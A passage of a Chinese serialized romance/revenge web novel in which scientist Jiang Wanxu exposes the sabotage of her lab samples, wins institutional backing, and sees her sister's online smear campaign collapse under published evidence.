但她没有时间去难过,更没有时间去辩解。
她的大脑,在飞速地运转着。
问题到底出在哪里?
方案,她推演了不下百遍,绝对没有问题。
试剂,都是最新批次的,也排除了问题。
那么剩下的……
江晚絮的目光,骤然一凝。
是样本!
她站起身,冲向了超低温冰箱。
打开冰箱门,她取出了封存的原始实验样本,立刻进行检测。
半小时后。
检测结果出来了。
江晚絮看着报告单上的数据,浑身的血液,几乎都要凝固了。
样本被人恶意污染了!
有人在里面,添加了一种结构极其相似,却带有强抑制性的干扰物。
这种干扰物,在常规检测下,根本无法被发现。
只有在进行到最后一步的合成反应时,才会彻底爆发出来,导致整个实验,功亏一篑。
好狠的手段!
这不光是要毁了她的实验成果。
更是要毁了她,在整个研究院,好不容易才建立起来的声誉!
所有人都以为是她能力不足,方案出了问题。
谁会想到,是有人在背后,捅了这么阴毒的一刀?
“江组长,怎么样?”
同事们围了过来,期盼地看着她。
江晚絮缓缓地抬起头,迎上众人或担忧,或怀疑的目光。
她没有说出样本被污染的事。
因为,在没有证据的情况下,说出来,只会被人当成是推卸责任的借口。
她只是平静地开口。
“是我疏忽了。”
“大家先回去休息吧,给我三天时间,我会解决。”
同事们面面相觑,最终,还是默默地散去了。
只是那一道道离去的背影里,充满了失望和不信任。
偌大的实验室,只剩下江晚絮一个人。
她站在冰冷的仪器前,手脚冰凉。
又是这种感觉。
被全世界孤立,四面楚歌。
但这一次,她不怕了。
她拿出手机,没有打给顾彦廷。
而是直接拨通了研究院安保科的电话。
“你好,我是‘星尘’项目组的江晚絮。”
“我需要调取,这三天内,三号实验室门口以及样本储存室的所有监控录像。”
“立刻,马上。”
她的声音,冷静得没有一丝波澜。
挂掉电话,她靠在实验台上,看着窗外漆黑的夜色,眼底闪过一抹森然的冷光。
她倒要看看。
到底是谁,想让她死。
监控录像,很快就送了过来。
江晚絮把自己关在办公室里,将那长达七十二小时的录像,一帧一帧地,反复观看。
终于,在第二天凌晨。
她找到了那个鬼祟的身影。
陈景渊的助手,小林。
录像里,小林趁着午休时间,所有人都去吃饭的时候,偷偷溜进了样本储存室。
他出来的时候,手里多了一个小小的注射器。
虽然他动作很快,也很隐蔽,但还是被高清摄像头,清晰地记录了下来。
是他!
江晚絮的指甲,深深地掐进了掌心里。
可她想不明白,小林只是一个刚毕业没多久的实习生,平时看起来胆小懦弱,他为什么要这么做?又有什么胆子这么做?
除非……他背后有人指使。
陈景渊?
不,他已经被调离了核心团队,没有这个机会。
那是谁?
一个名字,电光火石般的,从江晚絮的脑海里闪过。
——江芊妤!
是了,那段录音里,江芊妤就提到了,她买通了陈教授,要把自己赶出方舟。
陈景渊倒了,可江芊妤那条线,并没有断。
她不甘心失败,所以又找到了陈景渊的助手。
所有的线索,在这一刻,全都串联了起来。
江晚絮的眼神,彻底冷了下去。
江芊妤,你真是……阴魂不散。
既然你这么想玩,那我就陪你,玩个大的。
第一卷 第47章 最高使用权限
江晚絮没有立刻拿出证据。
她先将那份被污染的样本,进行了成分解析,成功分离出了那种干扰物。
然后,她利用自己深厚的化学功底,反向推演出了一种可以中和掉干扰物的全新稳定剂。
修复数据,重新实验。
当完美的实验数据,再次出现在电脑屏幕上时,窗外的天,已经亮了。
江晚絮一夜未眠,双眼布满了红血丝,脸色也苍白得吓人。
可她的精神,却前所未有的亢奋。
她不仅挽救了实验,更在这个过程中,优化了药物的稳定性。
因祸得福。
做完这一切,她才将那段监控录像的拷贝,以及小林和江芊妤的银行转账记录,打包成一份邮件。
收件人,有两个。
一个是研究院的院长。
另一个,是京市公安局的官方邮箱。
第二天。
研究院召开了全院大会。
所有人都以为,这是要宣布“星尘”项目失败,追究江晚絮责任的大会。
那些曾经对江晚絮示好的同事,都恨不得离她八丈远,生怕被牵连。
陈景渊甚至也出现在了会场。
他坐在角落里,脸上带着一丝幸灾乐祸的得意。
院长走上台,脸色严肃。
所有人都屏住了呼吸。
“今天召集大家,是有一件重要的事情,要宣布。”
院长的目光,扫过全场,最终,落在了江晚絮的身上。
他的眼神里,带着毫不掩饰的欣赏和歉意。
“首先,我要宣布一个好消息。”
“由江晚絮博士带领的‘星尘’项目,于今日凌晨,成功完成了临床前的所有核心实验,取得了突破性的进展!”
什么?!
此言一出,全场哗然!
所有人都懵了。
成功了?
不是失败了吗?
怎么会成功了?!
陈景渊脸上的笑容,瞬间僵住。
在众人震惊的目光中,江晚絮平静地走上了台。
她将自己修复后的完美数据,展示在了大屏幕上。
那堪称艺术品的数据曲线,让所有懂行的人,都倒吸了一口冷气。
这……这比他们预想的,还要完美!
“其次,”院长的声音,再次响起,这一次,却带上了雷霆之怒,“我要宣布一个处分决定!”
“原‘星尘’项目组成员林某,恶意污染实验样本,蓄意破坏重大科研项目,造成了极其恶劣的影响!经院方研究决定,予以开除!并将其移交公安机关,追究其法律责任!”
“同时,对于其幕后指使者,我们也已经掌握了确凿的证据,一并提交给了警方!”
院长的话,像一颗颗炸雷,炸得所有人头晕目眩。
原来……实验失败,不是江组长的能力问题,而是有人在背后搞鬼!
所有人的目光,齐刷刷地看向了脸色惨白的陈景渊。
虽然院长没有点名,但用脚指头想也知道,这事绝对跟他脱不了干系!
陈景渊浑身发抖,冷汗瞬间浸湿了后背。
他这辈子,都完了。
最后,院长将话筒,递给了江晚絮。
江晚絮接过话筒,走到了台前。
她清冷的目光,缓缓扫过台下每一张或震惊,或愧疚,或惊恐的脸。
她没有说自己这两天受了多少委屈,也没有指责任何人的不信任。
她只是平静的,说了一句话。
“我不是不会反击。”
“只是不想把时间,浪费在无关紧要的人和事身上。”
“我的战场,永远在实验室里。”
说完,她放下话筒,对着台下,微微鞠了一躬。
几秒后,雷鸣般的掌声响了起来。
所有人看着台上那个清瘦却挺拔的身影,眼神里只剩下最纯粹的,发自内心的敬佩。
江晚絮,用她的才华和气度,征服了整个方舟研究院。
她不仅洗清了所有的冤屈,更获得了研究院高层,前所未有的,全力的支持。
那场风波之后,“星尘”项目获得了前所未有的绿灯。
资源、设备、人员,只要她开口,院长二话不说,全部特批。
项目进展一日千里,很快,他们就遇到了一个新的瓶颈——一个横亘在理论与现实之间的,庞大到令人绝望的数据壁垒。
现有的计算模型,根本无法模拟出药物分子在极端环境下的衰变路径。
“不行,又崩溃了。”
“这已经是我们第十八次尝试了,算力根本不够!”
“除非……能动用‘深蓝’。”项目组里一位资历最老的老教授,扶了扶眼镜,幽幽地吐出两个字。
“深蓝”?
江晚絮看向他。
老教授叹了口气:“‘深蓝’是我们方舟研究院的镇院之宝,一台性能足以排进全球前三的超级计算机。不过……它的使用权限,是最高机密级别,别说我们,就连陈景渊以前当组长的时候,都申请不下来。”
换言之,那是她这个级别的研究员,连想都不该想的东西。
江晚絮沉默了。
她盯着屏幕上那个功亏一篑的模拟动画,指尖无意识地敲打着桌面。
放弃?
不可能。
她的字典里,从来没有这两个字。
半小时后,她敲响了院长办公室的门。
听完她的来意,院长脸上露出了意料之中的为难。
“晚絮啊,不是我不帮你,‘深蓝’的权限,真的不在我的管辖范围之内……”
“我需要它。”江晚絮打断了他,目光灼灼,“没有它,‘星尘’项目就会停滞不前,我们之前所有的努力,都会白费。”
院长看着她,沉默了许久,仿佛在进行着某种天人交战。
最终,他拿起桌上的内部电话,拨了一个加密号码。
他只说了一句话。
“她需要‘深蓝’。”
电话那头似乎说了些什么,院长的表情瞬间变得恭敬起来。
挂掉电话,他看向江晚絮,眼神复杂得像是在看什么珍稀保护动物。
“你的特级权限,十五分钟后生效。”
“……谢谢院长。”
江晚絮有些意外,但也没多想,只当是院长的人情起了作用。
回到实验室,她在同事们震惊的目光中,坐到了那台拥有最高权限的终端机前。
输入账号,密码,虹膜扫描,指纹验证。
【欢迎您,江晚絮博士。‘深蓝’超算中心为您服务。】
冰冷的机械女声响起。
整个超算系统,向她敞开了大门。
江晚絮深吸一口气,将自己整理好的理论模型数据,全部导入了系统。
庞大的数据流,如同星河倒灌,在屏幕上飞速闪烁。
等待运算的间隙,江晚絮鬼使神差地,点开了系统的开发者日志。
作为一名顶尖的科研人员,她对创造出如此伟大之物的“同类”,抱有天然的好奇与敬意。
日志的最末尾,是一长串的致谢名单。
密密麻麻的英文名中,一个缩写,刺进了她的瞳孔。
第一卷 第48章 凭什么?!
【Founding Investor& Chief Architect: Y. T. Gu】
创始投资人及首席架构师:顾彦廷。
是他。
江晚絮的手指,僵在了触摸板上。
她瞬间明白了。
所有的一切,在这一刻,都有了答案。
为什么她能这么轻易地进入方舟?
为什么院长会对她一路开绿灯?
为什么在她被全院质疑的时候,顾彦廷只是打了一个电话,就能让她获得自证清白的机会?
不是什么所谓的“走后门”。
更不是什么巧合。
而是因为,她......
第一卷 第49章 她什么都不是!
晚宴的主办方,邀请顾彦廷上台致辞。
顾彦廷牵着江晚絮的手,一起走上了台。
他接过话筒,清冷的目光,扫过全场。
“感谢各位今晚的莅临……”
他简单地讲了几句场面话,然后,话锋一转。
“在致辞的最后,我想向各位,郑重地介绍一个人。”
全场瞬间安静了下来。
顾彦廷的声音,通过麦克风,清晰地传到了每一个角落。
“这位,是我的未婚妻,江晚絮女士。”
一句话,掀起轩然大波!
台下,江父的脸,瞬间涨成了猪肝色。
柳芸的嘴巴,张得能塞......
第一卷 第50章 中了什么邪?
父亲……父亲竟然打了她?
从小到大,江父别说打,就是一句重话都没对她说过。
江父气得浑身发抖,指着她的鼻子,声色俱厉。
“你脑子里装的都是浆糊吗?家里现在什么情况你不清楚?!”
“公司资金链都快断了!我今晚低声下气去求那些投资人,没一个给我好脸色!”
“你还想着办什么生日宴?还更盛大?我拿什么给你办!把这个家卖了吗!”
这是江父第一次,对江芊妤发这么大的火。
她彻底崩溃了,“哇”的一声哭了出来。
“你现在嫌弃我了是不是?你也觉得江晚絮比我好了是不是!”
“当初明明是你们说的!是你们说我是江家的小公主,说会永远最爱我,把我捧在手心里!”
“是你们说江晚絮是灾星,让我离她远一点!”
“现在怎么了?看到她攀上高枝了,你们一个个就都变了!”
“你们都是骗子!骗子!”
她的哭声,刺痛了在场每一个江家人的耳膜。
江明泽冷冷地看着她,眼神里是毫不掩饰的失望与厌恶。
江明宇烦躁地抓着头发,一脚踹翻了旁边的椅子。
柳芸张了张嘴,想说什么,却在江父杀人般的目光下,一个字也吐不出来。
江父闭上眼,满脸疲惫,声音沙哑。
“从今天起,你在家里给我老实点。再敢出去给我惹是生非,就给我滚出这个家。”
说完,他头也不回地上了楼。
客厅里,只剩下江芊妤撕心裂肺的哭声,和一地狼藉。
曾经被这个家捧在手心里的明珠,在它真正的主人——江晚絮——绽放光芒之后,终于被发现,不过是一颗廉价的玻璃珠子。
而此刻,真正的暴风雨,才刚刚开始酝酿。
叶氏集团。
总裁办公室里,烟雾缭绕。
叶寒面前的烟灰缸里,已经堆满了烟头。
他的手机,从晚宴结束后就没停过。
【叶总,城西那个项目,对方……对方说要撤资。】
【叶总,我们最大的渠道商刚刚通知,要中止和我们的所有合作。】
【叶总,公司股价……跌停了。】
一条条信息,像一柄柄重锤,狠狠砸在他的心上。
他知道,是顾彦廷动手了。
那个男人,甚至不需要亲自出面,只需要一个眼神,一个暗示,就足以让他在京市苦心经营的一切,顷刻间土崩瓦解。
口碑下滑,资金链断裂,众叛亲离。
“呵。”
叶寒自嘲地笑了一声,拿起桌上的威士忌,狠狠灌了一大口。
辛辣的液体灼烧着喉咙,却浇不灭心头那股悔恨的烈火。
他烦躁地划开手机,想找个人说说话。
通讯录滑了半天,却发现,竟没有一个可以倾诉的对象。
他无意识地点开了相册。
一张尘封已久的照片,跳了出来。
那是五年前,他刚结婚不久,在他的公司刚刚破产后,重新起步时拍的。
照片里,小小的办公室堆满了文件,他穿着廉价的白衬衫,意气风发地搂着她的肩膀。
而江晚絮,素面朝天,穿着简单的T恤牛仔裤,侧着头看他。
她的眼神,温柔得像一汪春水,里面,满满的都是信赖、崇拜,和毫不掩饰的爱意。
叶寒的手指,抚过照片上她带笑的脸。
心脏,像是被一只无形的手狠狠攥住了。
疼得他喘不过气。
所有他刻意遗忘的,所有他视而不见的,此刻都像潮水一样,汹涌而来。
创业初期,资金最紧张的时候,是江晚絮默默拿出了她导师奖励的二十万奖学金,连眼睛都没眨一下。
她说:“你的梦想,也是我的梦想。”
公司第一个项目遇到技术瓶颈,所有人都束手无策,是他口中“只会死读书”的江晚絮,熬了三个通宵,帮他查阅国外文献,整理数据,找到了解决方案。
她说:“别担心,你不是一个人。”
他为了一个重要的客户,在酒局上被人刁难,喝到胃出血,是江晚絮衣不解带地在医院照顾了他一个星期。
她红着眼睛,什么都没说,只是默默地给他煲他最爱喝的汤。
甚至,他公司早期最重要的人脉,那个脾气古怪的王董,也是江晚絮通过她老师的关系,才帮他牵上的线。
他一直以为,自己能有今天,全靠自己的手腕和能力。
可现在回头看,他事业的每一步,竟然都有她的影子。
她就像空气,默默地支撑着他的一切,以至于他习惯到……忘记了她的存在。
他把她的付出,当成了理所当然。
把她的掏心掏肺,当成了别有用心。
他得到了她的一切,却在她最需要他的时候,给了她最致命的一刀。
“叮铃铃——”
刺耳的电话铃声响起。
是江芊妤。
叶寒皱着眉接起。
电话那头,是江芊妤尖厉而不满的哭诉。
“阿寒!你在哪儿呢!我爸打我了!他们都欺负我!你快回来陪我!”
“我想要爱马仕新出的那个鳄鱼皮包包,你明天就去给我买!不,我现在就要!”
“还有,你必须想办法,把江晚絮那个贱人给我踩下去!我咽不下这口气!”
无休止的抱怨,无理的索取,和那刺耳的“贱人”两个字。
叶寒听着,忽然觉得无比的疲惫和恶心。
强烈的对比,像一把淬了毒的匕首,在他心口上反复搅动。
一个,是在他一无所有时,陪他啃馒头,为他铺路搭桥的女人。
一个,是在他大厦将倾时,只知道哭闹索取,火上浇油的女人。
他当初,到底是中了什么邪?
竟然为了那点可笑的、虚假的柔弱和崇拜,就抛弃了自己最珍贵的宝藏。
“阿寒?你有没有在听我说话!你怎么不理我?你是不是也嫌我烦了!”
电话那头,江芊妤的声音越来越尖锐。
叶寒鬼使神差地挂断了电话。
他将手机狠狠地砸在地上。
屏幕四分五裂,就像他那颗分崩离析的心。
他捂住脸,肩膀剧烈地颤抖起来。
压抑了许久的呜咽,终于从喉咙深处溢出。
“我……”
“我失去了……最该珍惜的人……”
泪水从指缝中滑落,滴落在冰冷的地板上。
第一卷 第51章 江家要完了
被挂断电话的江芊妤,在家中愈发地焦躁不安。
叶寒的冷淡,让她产生了一种前所未有的危机感。
尤其是在晚宴上,叶寒看着台上江晚絮时,那复杂而隐忍的眼神,像一根刺,深深扎进了她的心里。
他是不是……也后悔了?
不……不会的。
阿寒最爱的是我!他亲口说的!
江芊妤想了一夜,越想越怕。
尤其是在她一连打了三个电话,都被叶寒挂掉以后,她心里的恐惧终于达到了巅峰。
她也顾不上自己双眼的黑青,直接抓起车钥匙就冲了出去。
她要去公司找他!
她要当面问清楚!
半小时后,一辆粉色的玛莎拉蒂,停在了叶氏集团的楼下。
江芊妤踩着十厘米的高跟鞋,像一阵风一样冲了进去。
前台小姐连忙起身:“小姐,您好,请问有预约吗?”
“滚开!”
江芊妤一把推开她,径直冲向总裁专用电梯。
“砰!”
总裁办公室的门,被她一脚踹开。
办公室里,几个部门经理正在向叶寒汇报工作,所有人都被这突如其来的变故吓了一跳。
叶寒抬起头,看到满脸怒容的江芊妤,布满血丝的眼睛里,闪过一丝彻骨的厌烦。
“你来干什么?”
他的声音,冷得像冰。
江芊妤被他陌生的眼神刺痛了,但嫉妒和不安已经冲昏了她的头脑。
她指着他,声音尖利地质问:“你为什么挂我电话?你昨晚是不是跟江晚絮那个贱人在一起?!”
“你是不是私下联系她了!”
“我告诉你叶寒,我才是你的妻子!你现在所有的一切都是我的!你想甩了我去找那个贱人,门都没有!”
她嘶吼着,完全不顾及办公室里还有其他人。
那几个部门经理,面面相觑,脸上是掩饰不住的尴尬和鄙夷。
他们都认识江晚絮。
曾经的叶夫人,温婉,知性,有能力,在公司里深得人心。
再看看眼前这个……
除了撒泼打滚,还会干什么?
简直就是个没脑子的草包。
叶总当初真是瞎了眼。
其中一位,是来访的重要客户,他看着眼前这出闹剧,眉头紧紧皱起,毫不掩饰眼中的轻蔑。
“叶总,”客户站起身,理了理西装,“看来你今天家事繁忙,我们的合作,我看还是……再议吧。”
说完,他头也不回地走了。
这单生意,是叶寒现在唯一的救命稻草。
却被江芊妤就这么……搅黄了。
叶寒的脸色,瞬间沉到了谷底。
他看着江芊妤,眼神里最后一丝温度,也消失殆尽。
“你闹够了没有?”
江芊妤还在气头上,根本没意识到问题的严重性。
“我闹?叶寒你摸着良心说!要不是你心里有鬼,我会来闹吗!你是不是还想着江晚絮?那个女人到底给你灌了什么迷魂汤!”
“够了!”
叶寒猛地一拍桌子,站了起来。
他一步步走到江芊妤面前,居高临下地看着她。
那眼神,冰冷,陌生,充满了失望和决然。
“江芊妤,你看看你现在的样子。”
“粗鄙,无知,像个没教养的疯子。”
“我以前,怎么会觉得你单纯善良?”
江芊妤后退一步,不敢相信自己的耳朵。
“你……你说什么?”
“我说,”叶寒一字一顿,声音里带着一种碾碎一切的残忍,“我后悔了。”
“我后悔娶了你。”
“我后悔……为了你这样的东西,放弃了她。”
“你,连给她提鞋都不配。”
江芊妤最害怕的事情,终究还是发生了。
她踉跄着后退几步,直到撞在了冰冷的墙壁上,才勉强稳住身形。
叶寒……
他说,他后悔了。
他说,自己连给江晚絮提鞋都不配。
这比直接杀了她,还要让她痛苦一万倍。
办公室里的其他人,早已在叶寒发怒时,就识趣地退了出去,顺手带上了门。
偌大的空间里,只剩下他们两个人。
“不……”
江芊妤不甘心地看向叶寒。
“阿寒,你是在跟我开玩笑对不对?你只是在气头上……”
“你爱的人是我啊!你忘了我们是怎么在一起的吗?你忘了你说过,你最喜欢我的单纯善良,不像江晚絮那么死板无趣吗?”
叶寒听到“单纯善良”四个字,像是听到了天底下最好笑的笑话。
他扯了扯嘴角,露出一抹森然的冷笑。
“单纯?善良?”
“江芊妤,你摸着自己的心问问,这四个字,跟你有一毛钱关系吗?”
他闭上眼,脸上是无尽的疲惫与悔恨。
“你走吧。”
他睁开眼,声音平静得没有一丝波澜。
“滚。”
这一个字,轻飘飘的,却彻底砸碎了江芊妤所有的幻想。
她不知道自己是怎么离开叶氏集团的。
她只记得,那些曾经对她点头哈腰的员工,看她的眼神,充满了鄙夷和嘲弄。
回到空无一人的别墅,她把自己摔在柔软的沙发上,眼泪终于决堤。
然而这一次,再也没有人会来心疼地哄她了。
暴风雨,已经将这个家,吹得七零八落。
江氏集团,申请上市失败的消息,在京市的商圈里炸开了锅。
所有人都知道,江家要完了。
曾经门庭若市的江家别墅,如今变得门可罗雀。
那些昔日里称兄道弟的合作伙伴,如今一个个避之唯恐不及。
银行的催款电话,一天比一天急。
家里的气氛,压抑到了极点。
柳芸卖掉了自己所有的珠宝首饰,才勉强填上了一个小窟窿。
江明泽和江明哲整日不着家,谁也不知道他们在外面忙些什么。
江明宇的脾气愈发暴躁,喝醉了就回家砸东西。
而江父,则彻底成了一个酒鬼,整日抱着酒瓶子,醉生梦死。
这天晚上,江父又喝多了。
他红着眼睛,指着满桌的残羹冷炙,对着柳芸和江芊妤大吼。
“吃!吃!就知道吃!你们看看这个家,都快被你们吃空了!”
柳芸缩着脖子,不敢说话。
江芊妤却受不了了。
她这段时间被叶寒抛弃,又看着家道中落,早就憋了一肚子火。
“爸!你冲我们发什么脾气!”
她哭着喊道:“我也不想这样啊!我的信用卡被停了,我想买个包都买不了!朋友们都笑话我!这日子到底什么时候是个头啊!”
她不提还好,这一提,直接点燃了江父心中压抑已久的炸药桶。
“啪!”
一个响亮的耳光,落在了江芊妤的脸颊上。
第一卷 第52章 我偏不让你如意!
江父双目赤红,骂道,“你还有脸哭?!”
“要不是你!我们江家会变成今天这样吗?!”
“要不是你当初非要跟晚絮抢!非要去招惹叶寒!非要把事情做得那么绝!”
“我们江家何至于此!”
他指着江芊妤的鼻子,声音嘶哑,充满了血丝。
“你姐姐……晚絮她……她虽然性子冷了点,但她有本事啊!”
“她在的时候,公司的技术部,哪次不是她力挽狂澜?她随便一个研究成果,就能给公司带来上亿的利润!”
“要是她在……我们江家怎么会连上市都上不了!”
“你呢?!”
江父的目光,像刀子一样剜在江芊妤身上。
“你除了哭!除了会撒娇要东西,除了给我惹是生非!你还会干什么!”
这是江父第一次,如此直白地将她们姐妹俩放在一起做比较。
也是第一次,如此清晰的,表达了他对江晚絮的怀念,和对自己当初选择的悔恨。
柳芸震惊地看着丈夫,不敢相信自己的耳朵。
江芊妤更是如遭雷击。
从小到大,父亲都告诉她,她是家里最珍贵的宝贝,江晚絮那个扫把星,连给她提鞋都不配。
可现在……
他竟然说,自己比不上江晚絮?
他竟然在后悔,当初为了自己,赶走了江晚絮?
巨大的荒谬感和背叛感,瞬间吞没了她。
“哈……哈哈哈……”
江芊妤突然笑了起来,笑得眼泪都出来了。
“怪我?现在知道怪我了?”
“当初是谁说的,只有我才是贴心的小棉袄?”
“当初是谁说的,只要我想要,就算是天上的星星,也给我摘下来?”
“当初又是谁,把江晚絮赶出家门,说江家永远只有我一个女儿的?”
“是你们!是你们说的!”
她歇斯底里地指着江父和柳芸。
“现在看到江晚絮飞上枝头变凤凰了,你们就后悔了?就觉得我没用了?”
“你们不是心疼江家,你们是心疼那个能给你们带来好处的工具!”
“你们没用!是你们自己没用!你们自己守不住公司,现在倒把责任全都推到我身上!”
江芊妤的怒吼声,响彻了整个江家别墅。
也让这个家庭的最后一层虚伪,全都摊在了阳光下。
半个月后。
瑞士,日内瓦。
世界顶级生物医药学术峰会,正在此地举行。
会场内,聚集了全球最顶尖的科学家、学者,以及各大医药巨头的代表。
所有人的目光,都聚焦在台上那个东方面孔的年轻女人身上。
她穿着一身剪裁得体的白色西装,长发挽起,露出光洁的额头和修长的脖颈。
没有过多的装饰,却自带着一股沉静而强大的气场。
“……基于我们团队构建的全新药物靶点模型,‘星尘’项目在临床前试验中,对特定癌细胞的抑制率,达到了惊人的98.7%。”
“这意味着,我们距离攻克这一绝症,又近了一大步。”
江晚絮站在台上,用一口流利标准的英文,侃侃而谈。
自信,从容,逻辑清晰。
身后的大屏幕上,是无数复杂的数据和模型,在她口中,却变得浅显易懂,引人入胜。
台下,鸦雀无声。
所有人,都被她所描绘的那个划时代的蓝图,给深深震撼了。
报告结束。
短暂的沉寂后,是雷鸣般的掌声,经久不息。
所有人都站了起来,为这位年轻的天才科学家,致以最崇高的敬意。
江晚絮站在万众瞩目的舞台中央,微微鞠躬。
这一刻,她不是谁的女儿,不是谁的妻子,更不是谁的妹妹。
她只是江晚絮。
那个凭着自己的才华与坚韧,站在了世界之巅的,江晚絮。
会后,她被无数的记者和学者团团围住。
“江博士,请问‘星尘’项目预计什么时候可以进入临床一期?”
“江博士,我是哈佛医学院的,我们非常希望能和您的团队进行深度合作!”
“江博士,可以谈谈您在科研道路上的心路历程吗?”
闪光灯此起彼伏,一张张热情而又崇敬的脸,包围着她。
这一幕,通过全球媒体的直播,迅速传遍了世界的每一个角落。
当然,也包括京市。
江家别墅。
江明泽看着手机上弹出的新闻推送,整个人都僵住了。
【震惊!华国女科学家江晚絮攻克世界性难题,惊艳全球!】
新闻的配图,正是江晚絮在台上做报告时的照片。
照片里的她,自信,耀眼,光芒万丈。
是他从未见过的模样。
他一直以为,自己的妹妹,是个只会埋头读书,性格沉闷,上不了台面的书呆子。
他一直觉得,自己的学术成就,远在她之上。
可现在……
人家已经站在了世界级的舞台上,接受着全球同行的顶礼膜拜。
而他,却因为学术不端的小道消息,连在国内的研究所都快待不下去了。
一种难以言喻的嫉妒和挫败感,像是毒蛇一样,啃噬着他的心脏。
客厅的另一边,江父也看到了这条新闻。
他浑浊的眼睛里,闪过一丝复杂至极的光芒。
有震惊,有懊悔,还有一丝……他自己都不愿承认的卑微的期盼。
这么厉害的女儿……
如果……如果她还认自己这个父亲……
是不是,江家还有救?
叶氏集团。
叶寒的手机屏幕上,同样是江晚絮那张光芒四射的照片。
照片里的她,离他那么近,又那么远。
远到,他连仰望,都觉得不配。
他想起了五年前,她也曾兴高采烈地告诉他,她的一个研究项目,拿到了国家级的奖项。
当时他是怎么说的?
“哦,知道了。这种小奖,有什么好炫耀的。”
“有这个时间,不如多想想怎么帮你妹妹在名媛圈里打响名气。”
心,痛得快要无法呼吸。
他捂住胸口,第一次尝到了,什么叫万箭穿心。
而已经搬到叶家的江芊妤,看到新闻的瞬间,则是彻底疯了。
“贱人!贱人!!”
她把手机狠狠地砸在墙上,屏幕摔得四分五裂。
“她凭什么!她凭什么过得这么好!”
江晚絮的风光,就像一面镜子,照出了她如今的狼狈和不堪。
被叶寒抛弃,被娘家嫌弃,被整个京市上流圈耻笑。
她不甘心!
凭什么自己跌入了泥潭,而那个贱人,却能站在云端?
一定是江晚絮在背后搞的鬼!
是她抢走了自己的一切!
哈……
江晚絮不是想当圣人吗?不是想万众瞩目吗?
我偏不让你如意!
江芊妤咬着牙,眼里的不甘和嫉恨,渐渐涌上心头,变成了一个又阴又狠的毒计……
第一卷 第53章 没想到她蠢到这个地步
江芊妤异想天开,她要利用舆论,把江晚絮从神坛上拽下来。
她擦干眼泪,找出了一个以前相熟的小报记者的电话。
“喂,是张记者吗?我有个大料,你感不感兴趣?”
“关于……最近爆火的那个天才女科学家,江晚絮的。”
“对,我是她妹妹。”
“她啊,可不是你们看到的那样冰清玉洁。她这个人,忘恩负义,对我们娘家见死不救……”
电话那头,江芊妤添油加醋,颠倒黑白,把自己塑造成了一个被恶毒姐姐打压的可怜小白花。
她哭诉着,江晚絮如今的成就,都是靠江家早年不计成本的培养。
而江家现在落难了,她这个做女儿的,却连看都不回来看一眼,甚至还落井下石。
故事编得声泪俱下,闻者伤心。
那个小报记者,一听就是个能引爆流量的大新闻,当即拍着胸脯保证,一定给她写一篇惊天地泣鬼神的“讨伐檄文”。
第二天,一篇名为《天才科学家的背后:被抛弃的家人与冷血的真相》的文章,果然在网络上迅速发酵。
文章里,江芊妤化名“小妤”,字字泣血地控诉着姐姐的“恶行”。
【姐姐从小就天资聪颖,为了培养她,爸妈几乎倾尽了所有。最好的学校,最贵的实验器材,只要她开口,家里砸锅卖铁都会满足她。】
【可她呢?功成名就之后,却嫌弃我们家道中落,断绝了所有联系。】
【爸爸病重,公司破产,我们走投无路,她却连一个电话都不肯接。】
【她说,我们是她的累赘,会影响她光辉的形象。】
文章写得极具煽动性,再配上几张江家别墅如今萧条破败的照片,和江父憔悴的“病容照”。
一时间,不明真相的网友,瞬间被带偏了节奏。
“卧槽,真的假的?知人知面不知心啊!”
“亏我昨天还把她当女神,没想到是个白眼狼!”
“对家人都这么冷血,科研搞得再好有什么用?人品不行!”
“江家也太惨了吧,辛辛苦苦培养出来的凤凰,结果飞走了,连窝都不要了。”
舆论开始出现反转的迹象。
江芊妤看着网络上那些辱骂江晚絮的评论,终于露出了一丝快意的笑容。
江晚絮,我看你这次怎么收场!
然而,她还没得意超过三个小时。
一个惊天大反转,就来了。
先是顾彦廷的特助,林舟,用她的私人微博账号,发了一条动态。
内容简单粗暴。
就是一堆照片。
第一张,是江晚絮大学四年,所有获得全额奖学金的证书。
第二张,是她大学期间,在三家不同实验室兼职打工的工资流水单。
第三张,是一封陈年的邮件截图。发件人是江晚絮,收件人是江父。内容是她小心翼翼地询问,家里能不能先借她五万块钱,作为出国交流的保证金,她保证以后一定会还。
而江父的回复,只有冷冰冰的四个字:【家里没钱。】
林舟的配文,更是杀人诛心。
【听说有人在吹“江家倾尽所有培养”?是指培养她如何靠自己拿奖学金,如何一个人打三份工赚生活费吗?还是指培养她如何被妹妹抢走功劳,抢走丈夫,最后被亲人推下楼梯,身败名裂?@江氏集团,出来走两步?】
这条微博,信息量巨大。
瞬间,就把“江家培养论”,锤得稀碎。
网友们都惊呆了。
“我靠!这反转!我的脸好疼!”
“原来真相是这样!江家这一家人也太恶心了吧!”
“抢功劳?抢丈夫?推下楼梯?这他妈是人干的事?!”
“心疼江博士!这是在怎样的地狱里,才开出了如此璀璨的花啊!”
还没等网友们从震惊中缓过神来。
更重磅的一击,来了。
江晚絮现在所在的“方舟研究院”的官方账号,发布了一则官方声明。
【声明】
【针对近日网络上关于我院核心研究员江晚絮博士的恶意中伤,我院特此声明如下:】
【一、江晚絮博士是我院“星尘”计划的核心创始人与领导者,其所有学术成就均源于其卓越的个人才华与不懈努力,与任何第三方“培养”无关。】
【二、我院在引进江博士时,曾对其过往学术经历进行背景调查。调查中发现,江博士在原单位“瑞澜研究院”任职期间,曾多次遭遇不公正待遇,甚至其部分核心实验数据,有被第三方恶意销毁的痕迹。】
【三、对于任何形式的造谣、诽谤行为,我院将保留追究其法律责任的权利。方舟将不惜一切代价,保护我们最珍贵的科研人员。】
声明下面,还附上了一份经过脱敏处理的调查报告附件。
附件里,赫然是几张被恢复的数据后台日志截图。
上面清晰地显示着,在某个时间点,一个IP地址属于叶氏集团的设备,远程登录了江晚絮工作室的服务器,删除了编号为“JWX-007”的全部实验数据。
而那个时间点,正是江晚絮被污蔑抄袭,百口莫辩的时候。
证据,确凿!
舆论,彻底引爆!
如果说林舟的微博,是撕开了江家伪善的面具。
那方舟研究院的官方声明,就是直接把江家和叶寒,钉在了耻辱柱上,还顺便浇上了一桶汽油,点了一把火。
全网哗然!
“我的天!恶意销毁实验数据!这是犯罪啊!”
“叶寒这个渣男!江芊妤这个毒妇!江家这群吸血鬼!锁死!都给我滚去坐牢!”
“现在我终于明白,江博士为什么对娘家见死不救了。这哪是娘家,这分明是仇家啊!”
“#江家全员恶人##叶寒江芊妤滚出京市#话题给我刷起来!”
江芊妤和江家,在一夜之间,从一个博同情的“受害者”,变成了一个人人喊打的全网笑柄。
叶寒看着手机上那些证据,只觉得眼前阵阵发黑。
悔恨,像最猛烈的毒药,侵蚀着他的五脏六腑。
